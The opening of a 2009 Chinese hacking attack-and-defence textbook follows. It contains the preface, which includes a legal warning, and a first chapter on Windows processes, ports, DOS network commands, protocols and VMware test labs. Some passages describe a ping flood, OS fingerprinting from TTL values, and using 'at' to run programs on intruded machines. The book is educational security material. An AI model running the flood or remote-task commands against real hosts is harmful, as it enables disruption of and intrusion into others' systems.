版权信息

书名：矛与盾：黑客攻防与脚本编程
作者：武新华
排版：方小二
美编：耳东
ISBN：9787111285748

版权所有·侵权必究

前言

本书本着防患于未然的主旨，着重而详细地介绍了各种黑客入侵网页的手段，概括绝大部分的攻击方式。本书虽然详细解说了每个攻击手法的原理与实际操作，但毕竟如何防范这些入侵才是本书的重点。想要开发安全的PHP应用程序，就赶快拿起这本书仔细地阅读吧！只有使读者在了解黑客攻击知识的基础上，能够最大限度地做到“知己知彼”，才有可能在遭受黑客攻击时尽量减少自己的损失。

下面简要介绍本书的特点、学习方法以及提供的服务。

本书内容

本书以配图、图释、标注、指引线框等丰富的图解手段，再辅以浅显易懂的语言，介绍了黑客攻击计算机的一般方法、步骤，以及所使用的工具。本书内容主要包括：黑客入门知识基础、黑客的攻击方式、Windows系统编程与网站脚本、后门程序编程基础、高级系统后门编程技术、黑客程序的配置和数据包嗅探、编程攻击与防御实例、SQL注入攻击与防范技术、数据库入侵与防范技术、Cookies攻击与防范技术、网络上传漏洞的攻击与防范、恶意脚本入侵与防御、数据备份升级与恢复等内容。本书详细地讲述了防护黑客攻击的方法及黑客的攻击与防范技术，使读者在实际应用中碰到黑客攻击时，能够做到“胸有成竹”。

读者运用本书介绍的黑客攻击防守方法去了解黑客，进而防范黑客的攻击，使自己的网络更加安全。

本书几个具体网站例子，已经将具体信息提交给网站进行了修改。

增值服务

本书附赠的光盘提供了多种攻防实战的教学视频，汇集了众多高手的操作精华，通过增加读者对主流操作手法感性认识的方式，使读者实现高效学习。

此外，如发现本书中有需要改进之处，还可通过访问http://www.newtop01.com或QQ：274648972与编者进行沟通，编者将衷心感谢提供建议的读者，并真心希望在和广大读者互动的过程中能得到提高。

组织方式

本书紧紧围绕“攻”、“防”两个不同的角度，在讲解黑客攻击手段的同时，介绍了相应的防范方法，图文并茂地再现了网络入侵与防御的全过程。

真正的以图来解释每一个知识点及操作实例，基础知识讲解、范例与练习结合，学习周期最短，阅读最轻松。

作者采用最为通俗易懂的图文解说，“理论+实战图文+视频=让读者快速入门”，即使是电脑新手也能通读全书。

用任务驱动、情景教学的方式来介绍，在学习案例过程中可掌握知识点，学习目的性、指向性最强。最新黑客技术盘点，让读者实现“先下手为强”。

本书特色

本书以情景教学、案例驱动及任务进阶为鲜明特色，在书中可以看到一个个生动的情景案例。通过完成一个个实践任务，读者可以轻松掌握各种知识点，在不知不觉中快速提升实战技能。

技术最新：当前最新技术，热点技术，常用相关工具软件都在本书有所涉及，有关黑客攻防技术、方法与思路，也做了重要讲解，并通过实例介绍综合技术的运用手段。

高效模式：完全站在实用角度介绍黑客攻防技术，突出了实用性和案例分析，全程图解模式可彻底克服攻防操作的学习障碍，学习起来省时、省力，易于上手。

内容合理：结合图解，标注和多媒体教学，精选入门读者最迫切需要掌握的知识点，构建一个实用、够用、完整的知识体系。

举一反三：详细分析每一个操作案例，力求通过一个知识点的讲解，以实现读者用更少时间尽快掌握黑客编程技术，让读者彻底理解和掌握类似场合的应对思路。

读者对象

本书作为一本面向广大网络爱好者的速查手册，适合如下读者学习使用：

电脑爱好者、提高者；

具备一定黑客知识基础和工具使用基础的读者；

网络管理人员；

喜欢研究黑客防御技术的网友；

大中专院校相关专业学生。

本书作者

本书作者团队长期从事网络安全管理工作，都具有较强的实践操作能力及一线拼杀经验，可带领广大醉心技术者穿越迷雾，把黑客们的伎俩看清楚。参与本书编写工作的有：冯世雄负责第1章，张晓新负责第2章，陈艳艳、李防负责第3、4、5、6章，王肖苗负责第7章，孙世宁负责第8章，杨平负责第9章，段玲华负责第10章，李伟负责第11章，王英英负责第12章，郑静负责第13章，最后由武新华通审全稿。我们虽满腔热情，但限于自己的水平，书中仍难免有疏漏之处，因此，还望读者本着共同探讨、共同进步的平和心态来阅读本书。作者心存谨敬，随时恭候您提出的宝贵意见。

最后，需要提醒大家的是：根据国家有关法律规定，任何利用黑客技术攻击他人的行为都属于违法行为，希望读者在阅读本书后不要使用本书中介绍的黑客技术对别人进行攻击，否则后果自负，切记切记！

编者

2009年11月8日

第1章
黑客攻防知识

重点提示

♂黑客基础知识

♂常见的网络协议

♂创建安全测试环境

随着互联网对人们日常生活影响的深入，网络的安全问题也引起了人们高度关注。而黑客则是网络世界中很神秘的一类人，他们有时会义务去维护网络的安全，有时却又以网络破坏者的形象出现。

1.1　黑客基础知识

要成为一名合格的黑客，就必须对操作系统相关的知识有充分地了解，包括进程、端口、服务、文件、文件系统、常用的DOS命令和注册表等。只有充分了解了这些知识，才可以提高攻击的成功几率。

1.1.1　进程、端口和服务

一般情况下，计算机中的进程、端口和服务都会给黑客可趁之机，所以在深入了解黑客常用的攻击手段之前，有必要对他们使用的相关基础知识有初步的了解。

1.进程

进程是一个正在执行的程序。运行一个程序，就启动了一个进程。程序是静态的，进程是动态的。进程可以分为系统进程和用户进程两种。凡是用于完成操作系统的各种功能的进程就是系统进程，它们就是处于运行状态下的操作系统本身；用户进程就是所有由用户启动的进程。进程是操作系统进行资源分配的单位。

在Windows系统中按"Ctrl+Alt+Delete"组合键，即可打开【任务管理器】窗口。切换到“进程”选项卡，即可看到本机中开启的进程，如图1-1所示。如果想设置进程显示的内容，则选择【查看】→【选择列】菜单项，在【选择列】对话框中勾选相应的复选框，如图1-2所示。

图　1-1　查看本机中开启的进程

图　1-2　【选择列】对话框

2.端口

计算机“端口”是计算机与外界通信的出入口。其中硬件领域的端口又称接口，如USB端口、串行端口等；而软件领域的端口一般指网络中面向连接服务和无连接服务的通信协议端口，包括一些数据结构和I/O（基本输入/输出）缓冲区。

在网络技术中，端口有两种含义：一是物理意义上的端口，如集线器、交换机、路由器等用于连接其他网络设备的接口；二是逻辑意义上的端口，一般指TCP/IP协议中的端口，范围为0～65535，如浏览网页服务的80端口，用于FTP服务的21端口等。

对于使用Windows 2000以上版本的用户，不需要安装任何其他软件，利用“TCP/IP筛选”功能就可以实现服务器端口的限制。具体设置的操作步骤如下：

步骤1　右击“网上邻居”图标，在弹出的快捷菜单中选择“属性”选项，即可打开【网络状态】窗口。双击“本地连接”图标，即可打开【本地连接状态】对话框，如图1-3所示。

图　1-3　【本地连接状态】对话框

步骤2　单击【属性】按钮，即可打开【本地连接属性】对话框，在“此连接使用下列项目”列表中选择“Internet协议（TCP/IP）”选项，如图1-4所示。

图　1-4　【本地连接属性】对话框

步骤3　单击【属性】按钮，即可打开【Internet协议（TCP/IP）属性】对话框，如图1-5所示。单击【高级】按钮，即可打开【高级TCP/IP设置】对话框，如图1-6所示。

图　1-5　【Internet协议（TCP/IP）属性】对话框

图　1-6　【高级TCP/IP设置】对话框

步骤4　切换到“选项”选项卡，在“IP地址”列表中选择“TCP/IP筛选”选项之后，单击【属性】按钮，即可打开【TCP/IP筛选】对话框，如图1-7所示。

图　1-7　【TCP/IP筛选】对话框

步骤5　勾选“启用TCP/IP筛选（所有适配器）”复选框，并选择左边的“只允许”单选按钮后，单击【添加】按钮，即可打开【添加筛选器】对话框，如图1-8所示。

图　1-8　【添加筛选器】对话框

步骤6　在“TCP端口”文本框中输入允许开启的端口后，单击【确定】按钮，即可将只允许添加的端口开启。如果发现某个常用的网络工具不能起作用，只要知道它在主机中所需要调用的端口，再在"TCP/IP"中把此端口开启。

3.服务

实际上，每项服务都有一个具体的文件名，服务对应的文件一般存储在"C:\Windows\system32"中，其扩展名一般是.exe、.dll、.sys等。

在Windows XP系统中开启相应服务的操作步骤如下：

步骤1　依次选择【开始】→【设置】→【控制面板】菜单项，即可打开【控制面板】窗口。双击【管理工具】图标，即可打开【管理工具】窗口，如图1-9所示。

图　1-9　【管理工具】窗口

步骤2　单击【服务】图标，即可打开【服务】窗口，如图1-10所示。在【运行】窗口中输入"services.msc"命令，也可以打开【服务】窗口。

图　1-10　【服务】窗口

步骤3　在“服务”列表中可看到本机中所有的服务，右击要开启的“服务”，在弹出的快捷菜单中选择“属性”选项，即可打开该服务的【属性】对话框，如图1-11所示。

图　1-11　选中服务的【属性】对话框

步骤4　在“启动类型”下拉列表中选择“自动”选项之后，单击【应用】按钮，即可激活【启动】按钮。单击【启动】按钮后再单击【确定】按钮，即可启用该服务对应的端口，如图1-12所示。

图　1-12　启动选中的服务

1.1.2　文件和文件系统概述

文件是存储于外存储器中具有名字的一组相关信息集合，在Windows系统中所有的程序和数据均以文件形式存入磁盘。文件是由文件名和图标组成的，一种类型的文件具有相同的图标，文件名不能超过255个字符（包括空格）。

文件名由四个部分组成：[＜盘符＞][＜路径＞]＜文件名＞[＜.扩展名＞]，其作用是惟一标识一个文件。文件名由1～8个字符组成，构成文件名的字符分为如下三类：

26个英文字母：a～z或A～Z。

10个阿拉伯数字：0～9。

一些专用字符：＄、#、＆、@、！、%、()、{}、-、-。

注意　文件名中不能使用“＜”、“＞”、“\”、“//”、“[“、”]”、“：”、“！”、“+”、“=”，以及小于20H的ASCII字符。另外，可根据需要自行命名文件，但不可与DOS命令文件同名。

操作系统中负责管理和存储文件信息的软件机构称为文件管理系统，简称文件系统。文件系统由三部分组成：与文件管理有关的软件、被管理的文件以及实施文件管理所需的数据结构。从系统角度来看，文件系统是对文件存储器空间进行组织和分配，负责文件的存储并对存入的文件进行保护和检索的系统。

文件系统是操作系统用于明确磁盘或分区上的文件的方法和数据结构，即在磁盘上组织文件的方法。磁盘或分区和它所包括的文件系统的不同是很重要的。少数程序（包括最有理由的产生文件系统的程序）直接对磁盘或分区的原始扇区进行操作，这可能破坏一个存在的文件系统。一个分区或磁盘能作为文件系统使用前，需要初始化，并将记录数据结构写到磁盘上。这个过程就是建立文件系统。

1.1.3　DOS系统常用的命令

熟练掌握各种网络命令是黑客的基本功，下面介绍几个Windows系统自带的网络命令。只有熟悉使用这些命令，才可以为日后维护网络提供便利。

1.cd命令

在【命令提示符】窗口中提示符显示的目录就是当前的目录，如提示符显示的是"C:\"，则表示当前目录是C盘，其中“\”（反斜杠）就表示根目录。

可以使用"cd"命令来更改命令提示符所在的目录，具体的操作步骤如下。

步骤1　如果要更改当前目录，则可以用"cd"命令，如输入"cd c:\"命令，即可将提示符的目录设置为C:\，如图1-13所示。输入"cd Windows"命令，即可将提示符所在目录更改为C:\WINDOWS，如图1-14所示。

图　1-13　将目录更改到C盘中

图　1-14　将目录更改到"C:\WINDOWS"文件

步骤2　在【命令提示符】窗口中可使用"cd.."命令来返回上一级目录，此时输入"cd.."命令，即可返回到C盘的根目录中，如图1-15所示。

图　1-15　返回到上一级目录中

步骤3　如果要更换当前目录到硬盘的其他分区，则可以直接输入盘符。例如，要到D盘，就需要输入"d:"命令，现在提示符就变成了D:\＞，如图1-16所示。

图　1-16　将目录更改到D盘中

步骤4　如果想更换目录到D盘的"Backup"文件夹中，则可以使用"cd backup"命令，如图1-17所示。在【命令提示符】窗口中依次运行"cd.."命令和"c:"命令，即可返回到C盘根目录中，如图1-18所示。

图　1-17　将目录更改到"D:\Backup"文件夹

图　1-18　返回到C盘根目录中

2.dir命令

dir是一个用来查看磁盘中包含文件的命令，同时dir命令以宽格式按字母顺序显示每个目录中匹配文件名的列表，而且每次满屏时暂停。Dir命令的使用步骤如下：

步骤1　在【命令提示符】窗口中运行"dir c:\windows"命令，即可在【命令提示符】窗口中列出C:\windows下的所有目录及文件，如图1-19所示。但这种方法有明显的缺点：当列表中的目录及文件过多时就无法完全显示，形如刷屏。

图　1-19　查看C:\windows下的所有目录及文件

步骤2　为了完全显示C:\windows下的所有目录及文件，可以使用分页文件的形式来实现。此时运行"dir c:\windows/p"命令，即可在列出一屏的目录及文件后，提示“按任意键继续……”，如图1-20所示。按下任意键，即可查看下一屏文件，如图1-21所示。

图　1-20　以分页形式列出文件

图　1-21　按任意键查看下一屏文件

步骤3　在【命令提示符】窗口中输入"dir c:\windows/a:h"命令，即可查看该文件夹中的隐藏文件，如图1-22所示。参数“/a:文件属性”，就能显示出指定属性的文件，其中隐藏文件的属性为"h"，目录为"d"，系统为"s"，只读为"r"。

图　1-22　查看文件夹中的隐藏文件

步骤4　如果想按字母顺序列出C:\windows下的所有目录及文件，则可在【命令提示符】窗口中运行"dir c:\windows/o:n"命令，如图1-23所示。其中“/o:排序方式”参数指定了dir命令显示命令结果时的排序方式，排序方式设为"n"即代表按照文件名的字母顺序排列。

图　1-23　按字母顺序列出所有目录及文件

步骤5　也可指定排序方式为按照文件扩展名的字母顺序来找出特定扩展名文件。在【命令提示符】窗口中运行"dir c:\windows/o:e"命令，即可按照文件扩展名的字母顺序来显示其中包含的文件或文件夹，如图1-24所示。

图　1-24　按照文件扩展名的字母顺序列出所有目录及文件

3.ping命令

ping命令是Windows系统自带的一个功能强大的网络命令，用来检查网络是否通畅或者网络连接速度。作为一个黑客来说，ping命令是第一个必须掌握的DOS命令。只有在安装TCP/IP协议之后才能使用该命令。

可以使用ping命令来判断计算机的操作系统类型，在【命令提示符】窗口中输入"ping192.168.0.12"命令，其运行结果如图1-25所示。由于不同的操作系统的主机设置的TTL值是不同的，所以可以根据其中TTL值来识别操作系统类型。在一般情况下，Windows XP\Windows 2003对应的TTL值是128；Linux对应的TTL值为64；UNIX对应的TTL值是255。

图　1-25　用ping命令判断目标主机的操作系统类型

使用"ping 192.168.0.12-t-l 128"命令，可以不断向某台主机发出大量的数据包，如图1-26所示。当然只有一台主机上运行该命令并不会产生严重后果，但是如果多台计算机同时运行该命令，则会形成“洪水攻击”。

图　1-26　使用ping命令向远程主机发送数据

4.netstat命令

netstat是DOS命令，是一个监控TCP/IP网络的非常有用的工具，它可以显示路由表、实际的网络连接以及每一个网络接口设备的状态信息。netstat用于显示与IP、TCP、UDP和ICMP相关的统计数据，一般用于检验本机各端口的网络连接情况。其使用步骤如下：

步骤1　在【命令提示符】窗口中输入"netstat-n"或"netstat"命令，即可查看服务器活动的TCP/IP连接，如图1-27所示。

图　1-27　查看服务器活动的TCP/IP连接

步骤2　在【命令提示符】窗口中输入"netstat-r"命令，即可查看本机路由信息内容，如图1-28所示。

图　1-28　查看本机路由信息

步骤3　在【命令提示符】窗口中输入"netstat-a"命令，即可查看本机所有活动的TCP连接以及计算机侦听的TCP和UDP端口，如图1-29所示。

图　1-29　显示本机所有活动的TCP连接

步骤4　一般用netstat-an命令来显示本机所有连接的端口及其状态，如图1-30所示。

图　1-30　本机所有连接的端口以及其状态

5.ipconfig命令

ipconfig命令是网络管理员使用最频繁的命令，通常使用它显示计算机中网络适配器的IP地址、子网掩码及默认网关等信息。

如果想要查看计算机的IP地址信息，则在【命令提示符】窗口中运行"ipconfig"命令，如图1-31所示。若想查看所有适配器的完整TCP/IP配置信息，则在【命令提示符】窗口中运行"ipconfig/all"命令，在其中可以看到包括所有适配器的IP地址、子网掩码和默认网关，还包括主机的相关配置信息，如主机名、DNS服务器、结点类型、网络适配器的物理地址等信息，如图1-32所示。

图　1-31　查看本地连接信息

图　1-32　查看所有适配器的完整TCP/IP配置信息

6.tracert命令

该命令的作用是显示数据包到达目标计算机所经过的路径，并显示到达每个结点的时间。该命令适用于大型网络的测试。其命令格式：tracert[-d][-h MaximumHops][-j Hostlist][-w Timeout][TargetName]，其中各个参数的含义如下：

-d 防止解析目标主机的名字，可以加速显示tracert命令结果。

-h MaximumHops指定搜索到目标地址的最大跳跃数，默认值为30个跳跃点。

-j Hostlist按照主机列表中的地址释放源路由。

-w Timeout指定超时时间间隔，默认单位为毫秒。

TargetName指定目标计算机。

如果想查看www.google.com的路由与局域网络连接情况，则在【命令提示符】窗口中输入"tracert www.google.com"命令，其显示结果如图1-33所示。

图　1-33　查看google的路由与局域网络连接情况

7.nslookup命令

nslookup用于检测网络中DNS服务器是否能正确实现域名。一般情况下，只要用户设置好域名服务器，就可以使用这个命令查看不同主机的IP地址对应的域名。但该命令只能在安装TCP/IP的网络环境中使用。其命令格式：nslookup[IP地址或域名]。

要查看www.sina.com的IP地址，则在【命令提示符】窗口中输入"nslookup www.sina.com"命令，其显示效果如图1-34所示。

图　1-34　查看新浪对应的域名

8.at命令

at是Windows 2000/WindowsXP中增加的命令行“任务计划管理器”，使用at命令可以使指定的命令或程序在指定的时间运行。使用at命令还可以管理远程计算机中的计划任务，在使用IPC入侵时，可以使用at命令来安排计划任务，让指定的程序在目标计算机中按指定的时间运行。

at命令的使用步骤如下：

步骤1　如果想在11:00运行程序"tm.exe"，则可在【命令提示符】窗口中运行"at 11:00 c:\tm.exe"命令，如图1-35所示。

图　1-35　运行使"tm.exe"在11:00运行命令

步骤2　输入"at"命令，即可查看刚添加的计划任务的详细信息，如图1-36所示。

图　1-36　查看刚添加的计划任务的详细信息

步骤3　如果想在每月的10号和20号的11:00点运行程序"tm.exe"，则可在【命令提示符】窗口中运行"at 11:00/every:10,20 c:\tm.exe"命令，如图1-37所示。其中"/every"参数指定了每月的某个日志执行的命令，将date指定为星期的一天或多天（M、T、W、Th、F、S、Su），或月的一天或多天（使用1～31的数字）。

图　1-37　运行使程序"tm.exe"在多个时间内运行的命令

步骤4　输入"at"命令，即可查看该计划任务的详细信息，如图1-38所示。

图　1-38　查看计划任务详细信息

步骤5　另外，使用at命令还可以实现定时关机的功能。在【命令提示符】窗口中运行"At 17:50 shutdown-s-T30"命令即可实现该功能，如图1-39所示。这样在17:50时就会弹出【系统关机】提示框，如图1-40所示。

图　1-39　运行定时关机命令

图　1-40　【系统关机】提示框

1.1.4　Windows注册表

通过注册表，用户可以添加、删除、修改系统内的软件配置信息或硬件驱动程序，这样就大大方便了用户对软、硬件的工作状态进行相应调整。对于功能如此强大的注册表，黑客会经常通过注册表来种植木马、删除系统文件以及改变硬件的工作状态。

在【注册表编辑器】窗口中可以对注册表文件进行删除、修改等操作。注册表包含有HKEY_LOCAL_MACHINE、HKEY_CLASSES_ROOT、HKEY_CURRENT_USER、HKEY_USERS以及HKEY_CURRENT_CONFIG等5个注册表根项，其名称和作用如表1-1所示。

虽然在注册表中5个根键看上去处于一种并列地位，彼此毫无关系。但事实上，HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG中存放的信息，都是HKEY_LOCAL_MACHINE中存放的信息的一部分；而HKEY_CURRENT_USER中存放的信息，只是HKEY_USERS存放的信息的一部分。HKEY_LOCAL_MACHINE包括HKEY_CLASSES_ROOT和HKEY_CURRENT_USER中所有的信息。Windows当前定义和使用的数据类型如表1-2所示。

1.2　常见的网络协议

在网络中，计算机之间需要交换信息就必须使用相同的网络协议。网络协议就像人们说话使用的某种语言一样，它是网络上计算机之间的一种语言。

1.2.1　TCP/IP

TCP/IP（Transmission Control Protocol/Internet Protocol，传输控制协议/互联网络协议）是Internet最基本的协议，是由网络层的IP协议和传输层的TCP协议组成的。主要用于规范网络上所使用的通信设备，也是一个主机与另一个主机之间数据的传送方式。在Internet中，TCP/IP是最基本的协议，是传输数据打包和寻址的标准方法。

TCP/IP允许独立的网络添加到Internet中或私有的内部网（Intranet）中。通过路由器（可以将一个网络的数据包传输给另一个网络的设备）或IP路由器等设备将独立的网路连接在一起，就构成了内部网。在使用TCP/IP的内部网中，数据将被分成独立的IP包或IP数据报数据单元进行传输。

TCP/IP通常被称为TCP/IP协议族。在实际应用中，TCP/IP是一组协议的代名词，它还包括许多别的协议，组成了TCP/IP协议族。其中比较重要的有SLIP、PPP、IP、ICMP、ARP、TCP、UDP、FTP、DNS、SMTP等。

1.2.2　IP

IP是为计算机网络相互连接进行通信而设计的协议。在因特网中，可以使连接到网络上的所有计算机实现相互通信，同时还规定了计算机在因特网上进行通信时应当遵守的规则。任何厂家生产的计算机系统，只有遵守IP才可以与因特网互连互通。

IP地址就是给每个连接在Internet上的主机分配的一个32bit地址。每台连网计算机都依靠IP地址来标识自己。由于有这种惟一的地址，才保证了用户在联网的计算机上操作时，能够高效而且方便地从千千万万台计算机中选出自己所需的对象。

1.IP地址的基本格式

按照TCP/IP协议规定，IP地址用二进制来表示，每个IP地址长32bit，比特换算成字节，就是4个字节。例如，一个采用二进制形式的IP地址是“00001010000000000000000000000001”，这么长的地址，处理起来也太费劲了。为了方便使用，IP地址经常被写成四个十进制的数，中间使用符号“.”分开不同的字节。于是，上面的IP地址可以表示为“10.0.0.1”，这显然比1和0容易记得多。这种表示方法称作“点分十进制表示法”。IP地址格式：网络地址+主机地址或网络地址+子网地址+主机地址。

2.IP地址分配

在互联网中的每个接口有一个惟一的IP地址与其对应，该地址并不是采用平面形式的地址空间，而是具有一定的结构。一般情况下，IP地址可分为5大类，具体结构如图1-41所示。

图　1-41　IP地址分类

从中不难得出如下结论：

在A类中，第一个段为网络位，后3段为主机位，其范围为1～127，如127.255.255.255；

在B类中，前两段是网络位，后两段为主机位，其范围为128～191，如191.255.255.255；

在C类中，前三段为网络位，后一段为主机位，其范围为192～223，如223.255.255.255；

D类地址用于多播，也叫组播地址，在互联网上不能作为接点地址使用，其范围为224～239，如239.255.255.255；

E类地址用于科学研究，也不能在互联网上使用，其范围为240～254。

1.2.3　ARP

ARP（Address Resolution Protocol，地址解析协议）的主要作用是通过目标设备的IP地址，查询目标设备的MAC地址，以保证通信的顺利进行。ARP将局域网中的32位IP地址转换为对应的48位物理地址，即网卡的MAC地址，如IP地址是192.168.0.10，而网卡MAC地址为00-1B-7C-17-B0-79，整个转换过程是一台主机先向目标主机发送包含有IP地址和MAC地址的数据包，再通过MAC地址两个主机，就可以实现数据传输了。

1.ARP工作原理

计算机在相互通信时，实际上是互相解析对方的MAC地址。其具体的操作步骤如下：

步骤1　每台主机都会在自己的ARP缓冲区中建立一个ARP列表，来表示IP地址和MAC地址的对应关系。

步骤2　当源主机需要将一个数据包发送到目的主机时，会检查自己ARP列表中是否存在该IP地址对应的MAC地址。如果存在则将数据包发送到这个MAC地址；如果没有就向本地网段发起一个ARP请求的广播包，来查询此目标主机对应的MAC地址。此ARP请求数据包里包括源主机的IP地址、硬件地址以及目的主机的IP地址。

步骤3　网络中所有的主机收到这个ARP请求后，会检查数据包中的目的IP是否和自己的IP地址相同。如果不相同就忽略此数据包；如果相同，该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中。

步骤4　如果ARP表中已经存在该IP的信息，则将其覆盖，然后给源主机发送一个ARP响应数据包，告诉对方自己是它需要查找的MAC地址。

步骤5　当源主机收到这个ARP响应数据包后，将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中，并利用此信息开始数据的传输。

2.查看ARP缓存表

在每台计算机中都保存着一个ARP缓存表，其中记录了局域网中其他IP地址对应的MAC地址，以便访问到正确的IP地址。ARP缓存表是可以查看的，也可以对其进行删除。在【命令提示符】窗口中输入"arp-a"命令可以查看ARP缓存表中的内容，如图1-42所示；而用"arp-d"命令可以删除ARP表中所有的内容，如图1-43所示。

图　1-42　查看ARP缓存表中的内容

图　1-43　删除缓存表中所有的内容

1.2.4　ICMP

ICMP（Internet Control Message Protocol, Internet控制消息协议）是TCP/IP协议族中的子协议，主要用于查询报文和差错报文。ICMP报文通常被IP层或更高层协议（TCP或UDP）使用；一些ICMP报文把差错报文返回给用户进程。通过IP包传送的ICMP信息主要用于涉及网络操作或错误操作的不可达信息。ICMP包发送是不可靠的，所以主机不能依靠接收ICMP包解决任何网络问题。

ICMP主要功能如下：

发现网络错误。可以发现某台主机或整个网络由于某些故障不可达。

通告网络拥塞。当路由器缓存太多数据包，由于传输速度无法达到它们的接收速度，将会生成ICMP源结束信息。对于发送者，这些信息将会导致传输速度降低。当然，更多ICMP信息生成也将引起更多的网络拥塞。

协助解决故障。ICMP支持echo功能，即在两个主机间一个往返路径上发送一个数据包。Ping是一种基于这种特性的通用网络管理工具，它将传输一系列的包，测量平均往返次数并计算丢失百分比。

通告超时。如果一个IP包的TTL降低到零，路由器就会丢弃此包，这时会生成一个ICMP包通告这一事实。TraceRoute是一个工具，它通过发送小TTL值的包及监视ICMP超时通告可以显示网络路由。

其实，在网络中经常会使用到ICMP，只不过大家觉察不到而已。如经常使用的用于检查网络通不通的ping命令，这个"ping"的过程实际上就是ICMP工作的过程。还有其他的网络命令如跟踪路由的tracert命令也是基于ICMP的。

ICMP对于网络安全具有极其重要的意义。ICMP本身的特点决定了它非常容易被用于攻击网络上的路由器和主机。可以利用操作系统规定的ICMP数据包最大尺寸不超过64KB这一规定，向主机发起"Ping of Death"（死亡之Ping）攻击。

1.3　创建安全测试环境

在黑客攻防技术中，每种技术都只能针对该种相应漏洞的主机才有效。在没有通用的入侵与防范技术的情况下，每种入侵与防范技术的成功都需要一定的环境。

1.3.1　安全测试环境概述

安全测试环境千变万化，如果不能了解平台的特点，在安全实践中就会寸步难行。因此，黑客测试平台是整个安全工作中的重要组成部分。很多用户都喜欢关注最新的安全漏洞信息和最新的安全文摘，但也会对一些公布的漏洞无计可施。不是因为其技术水平低，而是因为没有精力同时兼顾多种计算机环境。

在Internet浏览器中打开绿盟科技平台的主页面（http://www.nsfocus.net/），就可以看到不同操作系统下的漏洞信息，如图1-44所示。任意打开一个最新的漏洞描述页面，就可以在“所有系统”下拉列表中看到各种平台，如图1-45所示。出现这种问题的根源在于：没有一个完整的平台来实现这些安全漏洞的编译和测试。

图　1-44　绿盟科技首页

图　1-45　不同操作系统的漏洞信息

面对种类繁多的测试平台，如果仅限于当前的Windows系统是不行的，此时就需要通过虚拟机软件来解决这些问题。虚拟机是一种可以在一台计算机上模拟出很多台计算机，每台计算机都可以运行独立的操作系统的软件。它可以在计算机平台和终端用户之间建立一种环境，而终端用户基于这个环境来进行各种操作。

1.3.2　虚拟机软件概述

当安装的虚拟系统崩溃后，可直接在本机中将其所在的文件删除而不影响本机系统。同样，本机系统崩溃后也不影响虚拟系统，可以下次重装后再加入以前做的虚拟系统。同时，它也是惟一能在Windows和Linux主机平台上运行的虚拟计算机软件。虚拟机软件不需要重开机，就能在同一台电脑使用多个操作系统，不但方便，而且安全。常见的虚拟机分为VMware和Virtural PC两种，其中使用VMware的人数比较多。

每个虚拟机由一组虚拟化设备构成，其中，每个虚拟机都有对应的虚拟硬件。下面简单介绍VMware中的几个最常见的虚拟硬件设备：

网卡——虚拟网卡用于HOST OS（主系统）和GUEST OS（子系统）之间的通信，它可以建立标准的TCP/IP或NETBEUI桥梁。在虚拟机中，网卡品牌很大众化，Windows系统和Linux系统都能自动识别并驱动。

显卡——VMware将显卡模拟成了"VMware SVGA(FIFO)"，并自带了这种显卡的驱动程序，安装之后可以增加虚拟系统的分辨率和颜色数。

驱动器——虚拟软驱和光驱比较简单，基本上就是和主系统共用，将光盘放进去就可以直接读取。

硬盘——IDE（Integrated Drive Electronics，集成驱动器电子，通常IDE是指硬盘等设备的一种接口技术）有virtual disk和existing partition两种方式。使用第一种方式时，在真正的硬盘上建立一个文件作为虚拟机的整个硬盘。其优点在于：在虚拟机中的任何操作都在该文件中进行，而不会影响到真正系统的数据；当采用第二种方式时就需要开放真正的分区给虚拟机使用。这样，已有的系统可以直接运行，但是可能会影响硬盘上的有用数据。

声卡——声卡在虚拟机中被模拟为兼容性较好的一种型号，几乎全部操作系统都能自行识别并驱动。

不难看出：虚拟机中的硬件和实际硬件并不完全一样，虚拟机为了保证系统的兼容性和稳定性，将现有硬件都虚拟成为了标准、兼容性最好的硬件，所以最好不要按照实际硬件情况来配置系统，而且在虚拟机中也不能安装任何驱动程序。

1.3.3　用VMware创建虚拟环境

VMware Workstation专业虚拟机软件具有使用简单、容易上手等优点，可以使用户在一台机器上同时运行一个或更多Windows、DOS、Linux系统。VMware是真正“同时”运行多个操作系统在主系统的平台上，就像标准Windows应用程序之间那样进行切换，而且每个操作系统都可以进行虚拟的分区、配置而不影响真实硬盘的数据。甚至可以通过网卡将几台虚拟机用网卡连接为一个局域网。

1.安装虚拟机6.5.2

如果安装环境符合VMware软件的运行要求，在下载VMware软件并获得注册码后，就可以进行安装了。安装虚拟机6.5.2的具体操作步骤如下：

步骤1　双击安装文件即可启动自动安装程序，同时可以看到弹出的【VMware产品安装】提示框，如图1-46所示。

图　1-46　【VMware产品安装】提示框

步骤2　待初始化完毕后，即可看到【VMware安装向导】对话框，如图1-47所示。单击【Next】按钮，即可打开【Setup Type（安装类型）】对话框，在其中选择"Typical"单选项，如图1-48所示。

图　1-47　【VMware安装向导】对话框

图　1-48　【Setup Type（安装类型）】对话框

步骤3　单击【Next】按钮即可打开【Destination Folder（目标文件夹）】对话框，如图1-49所示。单击【Change（更改）】按钮，即可打开【Change Current Destination Folder（更改当前目标文件夹）】对话框，如图1-50所示。

图　1-49　【目标文件夹】对话框

图　1-50　【更改当前目标文件夹】对话框

步骤4　在其中设置虚拟机安装的目标文件夹后，单击【OK】按钮返回【Destination Folder（目标文件夹）】对话框，此时可以看到设置的目标文件夹，如图1-51所示。

图　1-51　设置的目标文件夹

步骤5　单击【Next】按钮，即可打开【Configure Shortcuts（选择快捷方式）】对话框，在其中根据实际需要选择相应的复选框。这里勾选全部复选框，如图1-52所示。

图　1-52　【Configure Shortcuts（选择快捷方式）】对话框

步骤6　单击【Next】按钮，即可打开【Ready to Install the Program（准备安装程序）】对话框，如图1-53所示。单击【Install】按钮，即可自动进行安装，如图1-54所示。

图　1-53　【准备安装】对话框

图　1-54　【自动安装】界面

步骤7　在安装过程中，会弹出【Registration Information（注册信息）】对话框，在其中根据提示输入用户名、公司名称、安装序列号等内容，如图1-55所示。在输入完毕之后，单击【Enter】按钮，即可看到【安装完成】对话框，如图1-56所示。

图　1-55　【注册信息】对话框

图　1-56　【安装完成】对话框

步骤8　单击【Finish】按钮，即可看到【重启计算机】对话框，如图1-57所示。单击【Yes】按钮，在计算机重新启动系统之后，VMware虚拟机软件就安装成功了。

图　1-57　【重启计算机】对话框

步骤9　右击“网上邻居”图标，在弹出的快捷菜单中选择“属性”选项，即可打开【网络连接】窗口，在其中可以看到VMware Workstation添加的两个网络连接，如图1-58所示。

图　1-58　【网络连接】窗口

